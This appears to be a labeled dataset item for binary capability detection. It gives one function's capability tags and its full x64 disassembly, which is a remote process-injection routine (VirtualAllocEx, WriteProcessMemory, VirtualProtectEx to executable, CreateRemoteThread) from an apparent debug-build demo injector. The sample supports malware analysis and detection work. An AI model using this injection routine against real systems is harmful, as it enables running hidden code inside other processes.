Function at 0x140011244
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140012600
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
mov rax, qword [0x14001f0c0]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x1400250f3]
call fcn.140011488
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rbp + 0x150]
xor edx, edx
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x1400126d8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x114], eax
lea rdx, str._ERROR__Could_not_allocate_address__Code:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001109b
mov ecx, dword [rbp + 0x114]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14001c41c]
mov rcx, rax
call fcn.14001109b
xor eax, eax
jmp 0x14001292e
lea rdx, str.Allocated_memory_at:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001109b
lea rdx, [0x140011447]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rdx, qword [rbp + 8]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
lea rdx, [0x14001c41c]
mov rcx, rax
call fcn.14001109b
lea rdx, str.Press_ENTER_to_write_payload__n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001109b
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
lea rax, [rbp + 0x28]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x150]
mov r8, qword [rbp + 0x148]
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140012770
mov rax, qword [rbp + 0x150]
cmp qword [rbp + 0x28], rax
je 0x1400127b6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x114], eax
lea rdx, str._ERROR__Could_not_write_to_process_memory__Code:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001109b
mov ecx, dword [rbp + 0x114]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14001c41c]
mov rcx, rax
call fcn.14001109b
xor eax, eax
jmp 0x14001292e
lea rdx, str.Successfully_set
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001109b
mov rdx, qword [rbp + 0x28]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
lea rdx, str._bytes__n
mov rcx, rax
call fcn.14001109b
mov r8, qword [rbp + 0x150]
xor edx, edx
mov rcx, qword [rbp + 0x148]
call fcn.1400113a7
lea rax, [rbp + 0x44]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
mov r8, qword [rbp + 0x150]
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x14001286b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x114], eax
lea rdx, str._ERROR__Could_not_protect__Code:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001109b
mov ecx, dword [rbp + 0x114]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14001c41c]
mov rcx, rax
call fcn.14001109b
xor eax, eax
jmp 0x14001292e
lea rdx, str.Press_ENTER_to_run__n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001109b
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
lea rdx, str.Executing_Payload__n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001109b
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x140012916
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x114], eax
lea rdx, str.Failed_to_create_a_remote_thread__Code:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001109b
mov ecx, dword [rbp + 0x114]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14001c41c]
mov rcx, rax
call fcn.14001109b
xor eax, eax
jmp 0x14001292e
lea rdx, str.Successfully_Injected__n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001109b
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001c170]
call fcn.140011401
mov rax, rdi
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.140011258
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret